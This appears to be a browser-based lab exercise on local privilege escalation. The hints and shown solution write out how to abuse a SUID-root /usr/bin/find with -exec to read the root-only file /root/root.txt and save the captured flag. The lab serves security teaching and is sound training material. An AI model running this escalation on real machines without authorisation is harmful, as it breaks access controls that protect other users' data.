Root through SUID find
In Module 1 you found that /usr/bin/find is SUID-root. Now use it.
Confirm the SUID bit, then use find's -exec option to read the root-only flag at /root/root.txt — the command find launches runs as root. Record the flag you recover.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Hints
`ls -l /usr/bin/find` — the `s` where the owner's `x` should be is the SUID bit.
`find /root/root.txt -exec cat {} \;` makes the root-owned find run cat as root.
Solution explanation
The s in ls -l /usr/bin/find confirmed the SUID bit. Because the bit makes find run as its owner (root), the cat it launched with -exec inherited root's privileges and read /root/root.txt — a file your own account is forbidden to open. One mis-set permission bit was the whole escalation. In the real world you would check every SUID binary against GTFOBins for exactly this kind of abuse.
Show solution
cd /home/student
ls -l /usr/bin/find
find /root/root.txt -exec cat {} \;
find /root/root.txt -exec cat {} \; > /home/student/flag.txt